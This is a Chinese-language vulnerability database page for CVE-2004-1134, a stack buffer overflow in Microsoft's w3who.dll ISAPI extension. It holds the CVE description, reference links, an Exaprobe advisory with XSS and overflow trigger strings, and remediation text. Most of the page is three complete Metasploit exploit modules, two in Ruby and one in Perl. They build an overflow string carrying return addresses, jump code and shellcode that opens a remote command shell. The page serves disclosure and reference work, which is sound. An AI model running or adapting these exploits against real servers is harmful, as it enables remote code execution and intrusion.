CVE-2004-1134
CVSS10.0
发布时间 :2005-01-10 00:00:00
修订时间 :2016-10-17 22:51:32
NMCOEP    

[原文]Buffer overflow in the Microsoft W3Who ISAPI (w3who.dll) allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long query string.


[CNNVD]Microsoft IIS w2who.dll 缓冲区溢出漏洞(CNNVD-200501-021)

        Microsoft IIS w3who.dll是一款Web版的Whoami ISAPI库。
        w3who.dll存在缓冲区溢出漏洞。
        远程攻击者可通过一个超长的查询字串,导致拒绝服务,也可能执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1134
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1134
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200501-021
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=full-disclosure&m=110234486823233&w=2
(UNKNOWN)  FULLDISC  20041206 Multiple vulnerabilities in w3who ISAPI DLL
http://www.exaprobe.com/labs/advisories/esa-2004-1206.html
(UNKNOWN)  MISC  http://www.exaprobe.com/labs/advisories/esa-2004-1206.html
http://xforce.iss.net/xforce/xfdb/18377
(VENDOR_ADVISORY)  XF  w3who-bo(18377)

- 漏洞信息

Microsoft IIS w2who.dll 缓冲区溢出漏洞
危急 缓冲区溢出
2005-01-10 00:00:00 2005-10-20 00:00:00
远程  
        Microsoft IIS w3who.dll是一款Web版的Whoami ISAPI库。
        w3who.dll存在缓冲区溢出漏洞。
        远程攻击者可通过一个超长的查询字串,导致拒绝服务,也可能执行任意代码。

- 公告与补丁

        目前厂商还没有提供此漏洞的相关补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.microsfot.com
        注:Microsoft已删除了该组件

- 漏洞信息 (16354)

Microsoft IIS ISAPI w3who.dll Query String Overflow (EDBID:16354)
windows remote
2010-07-07 Verified
0 metasploit
N/A [点击下载]
##
# $Id: w3who_query.rb 9719 2010-07-07 17:38:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	# XXX: Needs custom body check. HttpFingerprint = { :pattern => [ // ] }
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the w3who.dll ISAPI
				application. This vulnerability was discovered Nicolas
				Gregoire and this code has been successfully tested against
				Windows 2000 and Windows XP (SP2). When exploiting Windows
				XP, the payload must call RevertToSelf before it will be
				able to spawn a command shell.

			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9719 $',
			'References'     =>
				[
					[ 'CVE', '2004-1134' ],
					[ 'OSVDB', '12258' ],
					[ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html' ],
					[ 'BID', '11820' ]
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 632,
					'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
					'MinNops'  => 128,
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Automatic Detection', { }],
					['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [  48,  0x01169f4a ] }], # pop, pop, ret magic
					['Windows 2000 RESKIT DLL [Windows XP]',   { 'Rets' => [ 748,  0x10019f4a ] }], # pop, pop, ret magic
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 6 2004'))

		register_options(
			[
				OptString.new('URL', [ true,  "The path to w3who.dll", "/scripts/w3who.dll" ]),
			], self.class)
	end

	def auto_target

		res = send_request_raw(
			{
				'uri'   => datastore['URL']
			}, -1)
		http_fingerprint({ :response => res })  # XXX: Needs custom body match

		# Was a vulnerable system detected?
		t = nil
		if (res and res.body =~ /Access Token/)
			case res.headers['Server']
			when /5\.1/
				t = targets[2]
			else
				t = targets[1]
			end
		end
		t
	end

	def check
		if auto_target
			return Exploit::CheckCode::Vulnerable
		end
		Exploit::CheckCode::Safe
	end

	def exploit

		if (target.name =~ /Automatic/)
			mytarget = auto_target
		else
			mytarget = target
		end

		if not mytarget
			raise RuntimeError, "No valid target found"
		end

		buf = rand_text_english(8192, payload_badchars)
		buf[mytarget['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"
		buf[mytarget['Rets'][0] - 0, 4] = [ mytarget['Rets'][1] ].pack('V')
		buf[mytarget['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')
		buf[mytarget['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded

		print_status("Sending request...")
		r = send_request_raw({
			'uri'   => datastore['URL'],
			'query' => buf
		}, 5)

		handler
	end

end
		

- 漏洞信息 (F82993)

Microsoft IIS ISAPI w3who.dll Query String Overflow (PacketStormID:F82993)
2009-11-26 00:00:00
H D Moore  metasploit.com
exploit,overflow,shell
windows,2k,xp
CVE-2004-1134
[点击下载]

This Metasploit module exploits a stack overflow in the w3who.dll ISAPI application. This vulnerability was discovered Nicolas Gregoire and this code has been successfully tested against Windows 2000 and Windows XP (SP2). When exploiting Windows XP, the payload must call RevertToSelf before it will be able to spawn a command shell.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the w3who.dll ISAPI
				application. This vulnerability was discovered Nicolas
				Gregoire and this code has been successfully tested against
				Windows 2000 and Windows XP (SP2). When exploiting Windows
				XP, the payload must call RevertToSelf before it will be
				able to spawn a command shell.
					
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2004-1134'],
					[ 'OSVDB', '12258'],
					[ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html'],
					[ 'BID', '11820'],

				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 632,
					'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
					'MinNops'  => 128,
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [  48,  0x01169f4a ] }], # pop, pop, ret magic
					['Windows 2000 RESKIT DLL [Windows XP]',   { 'Rets' => [ 748,  0x10019f4a ] }], # pop, pop, ret magic
				],
			'DisclosureDate' => 'Dec 6 2004'))
			
			register_options(
				[
					OptString.new('URL', [ true,  "The path to w3who.dll", "/scripts/w3who.dll" ]),
				], self.class)
	end

	# Identify the target based on the IIS version
	def autofilter
		res = send_request_raw({
			'uri'   => datastore['URL']
		}, -1)
		
		# Was a vulnerable system detected?	
		if (res and res.body =~ /Access Token/)
			case res.headers['Server']
			when /5\.1/
				datastore['TARGET'] = 1
			else
				datastore['TARGET'] = 0
			end
			
			return true
		end
		
		# Not vulnerable
		return false
	end

	def check
		res = send_request_raw({
			'uri'   => datastore['URL']
		}, -1)
		
		if (res and res.body =~ /Access Token/)
			return Exploit::CheckCode::Vulnerable
		end
		
		return Exploit::CheckCode::Safe
	end

	def exploit

		buf = rand_text_english(8192, payload_badchars)
		buf[target['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"
		buf[target['Rets'][0] - 0, 4] = [ target['Rets'][1] ].pack('V')
		buf[target['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')
		buf[target['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded
	
		print_status("Sending request...")
		r = send_request_raw({
			'uri'   => datastore['URL'],
			'query' => buf
		}, 5)

		handler
	end

end
    

- 漏洞信息 (F35687)

iis_w3who_overflow.pm (PacketStormID:F35687)
2005-01-12 00:00:00
H D Moore  metasploit.com
exploit,remote,overflow,shell
windows,2k
CVE-2004-1134
[点击下载]

Remote buffer overflow exploit for the w3who.dll in Microsoft Windows 2000. Drops to a command shell.

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::iis_w3who_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
    'Name'  => 'IIS w3who.dll ISAPI Overflow',
    'Version'  => '$Revision: 1.2 $',
    'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000', 'winxp' ],
    'Priv'  => 0,
    'UserOpts'  => {
                    'RHOST' => [1, 'ADDR', 'The target address'],
                    'RPORT' => [1, 'PORT', 'The target port', 80],
                    'URL'   => [1, 'DATA', 'The URL to the DLL', '/scripts/w3who.dll'],
                    'SSL'   => [0, 'BOOL', 'Use SSL'],
                },
    'AutoOpts' => { 'EXITFUNC' => 'process' },
    'Payload' => {
                 'Space'     => 632,
                 'BadChars'  => "\x00+&=%\x0a\x0d\x20",
                 'MinNops'   => 128,
                 },
    
    'Description'  => Pex::Text::Freeform(qq{
        This module exploits a stack overflow in the w3who.dll ISAPI application.
        This vulnerability was discovered Nicolas Gregoire and this code has been
        successfully tested against Windows 2000 and Windows XP (SP2). When 
        exploiting Windows XP, the payload must call RevertToSelf before it will
        be able to spawn a command shell.
    }),

    'Refs'  =>  [
	                ['CVE', '2004-1134'],
                    ['URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html'],
                ],
    'DefaultTarget' => 0,
    'Targets' => [
                   ['Windows 2000 RESKIT DLL',   748,  0x10019f4a],  # pop, pop, ret magic
                 ],
    'Keys' => ['iis'],
};

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Check {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_path = $self->GetVar('URL');
    
    my $s = Msf::Socket::Tcp->new
    (
        'PeerAddr'  => $target_host, 
        'PeerPort'  => $target_port, 
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
    );
    if ($s->IsError) {
      $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
      return $self->CheckCode('Connect');
    }

    $s->Send("GET $target_path HTTP/1.1\r\nHost: $target_host:$target_port\r\n\r\n");

    my $r = $s->Recv(-1, 5);

    if ($r =~ /Access Token/)
    {
        $self->PrintLine("[*] Found $target_path ;)");
        return $self->CheckCode('Detected');
    } else {
        
        $self->PrintLine("The w3who.dll ISAPI does not appear to be installed");
        return $self->CheckCode('Safe');
    }
}


sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_path = $self->GetVar('URL');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   =$self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];

    $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);

    my $pattern = Pex::Text::EnglishText(8192);
    my $jmp = "\xe9".(pack('V', -641));    

    substr($pattern, $target->[1] - 4, 4, "\x90\x90\xeb\x04");
    substr($pattern, $target->[1]    , 4, pack('V', $target->[2]));
    substr($pattern, $target->[1] + 4, length($jmp), $jmp);  
    substr($pattern, $target->[1] - 4 - length($shellcode), length($shellcode), $shellcode);

    my $request =
    "GET $target_path?$pattern HTTP/1.1\r\n".
    "Host: $target_host:$target_port\r\n\r\n";

    my $s = Msf::Socket::Tcp->new
    (
        'PeerAddr'  => $target_host, 
        'PeerPort'  => $target_port, 
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
    );
    if ($s->IsError) {
      $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
      return;
    }

    $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
    $s->Send($request);

    $self->PrintLine("[*] Waiting for a response...");
    my $r = $s->Recv(-1, 5);
    $s->Close();

    return;
}

1;
    

- 漏洞信息 (F35249)

Exaprobe Security Advisory 2004-12-06 (PacketStormID:F35249)
2004-12-12 00:00:00
Nicolas Gregoire,Exaprobe  exaprobe.com
advisory,overflow,xss
windows,2k
CVE-2004-1133,CVE-2004-1134
[点击下载]

Exaprobe Security Advisory - The w3who.dll in Windows 2000 is susceptible to multiple cross site scripting attacks and a buffer overflow.

Exaprobe
                         www.exaprobe.com

                         Security Advisory


 Advisory Name: Multiple vulnerabilities in w3who
  Release Date: 6 December 2004
   Application: Microsoft ISAPI extension w3who.dll
      Platform: Windows 2000/XP Resource Kit
      Severity: Remote code execution
        Author: Nicolas Gregoire <ngregoire@exaprobe.com>
 Vendor Status: Affected code is no more available
CVE Candidates: CAN-2004-1133 and CAN-2004-1135
     Reference: www.exaprobe.com/labs/advisories/esa-2004-1206.html


Overview :
==========

>>From the Windows 2000 Resource Kit documentation :

"W3Who is an Internet Server Application Programming Interface
(ISAPI) application dynamic-link library (DLL) that works within
a Web page to display information about the calling context of
the client browser and the configuration of the host server."


Details :
=========

There're two basic XSS vulnerabilities, and an easily exploitable
buffer-overflow.

XSS vulnerability when displaying HTTP headers :
Connection: keep-alive<script>alert("Hello")</script>

XSS vulnerability in error message :
/scripts/w3who.dll?bogus=<script>alert("Hello")</script>

Buffer overflow when called with long parameters :
/scripts/w3who.dll?AAAAAAAAA...[519 to 12571]....AAAAAAAAAAAAA


Vendor Response :
=================

After notification by Exaprobe, Microsoft choosed to remove
the web download of this component and do not have any plans
to issue an updated version.


Recommendation :
================

Restrict access to the DLL.
Do not use it on production servers. 


Related code :
==============

Thanks to HD Moore, a Metasploit plugin will be integrated in the
upcoming release of the Metasploit Framework.
A NASL script has been sent to Nessus developpers.


CVE Information :
=================

The Common Vulnerabilities and Exposures (CVE) project has assigned 
the following names to these issues.  These are candidates for 
inclusion in the CVE list (http://cve.mitre.org), which standardizes 
names for security problems.

  CAN-2004-1133  Cross-site scripting issues in w3who.dll
  CAN-2004-1134  Buffer-overflow in w3who.dll


-- 
Nicolas Gregoire ----- Consultant en S    

- 漏洞信息

12258
Microsoft W3Who ISAPI (w3who.dll) Query String Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public, Exploit Commercial

- 漏洞描述

A remote overflow exists in Microsoft Browser Client Context Tool (W3Who.dll) The ISAPI application fails to sanitize user input resulting in a buffer overflow. With a specially crafted request, an attacker can trigger the overflow resulting in a loss of integrity.

- 时间线

2004-12-06 Unknow
2004-12-06 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): Remove the W3Who.dll ISAPI extension or restrict access

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站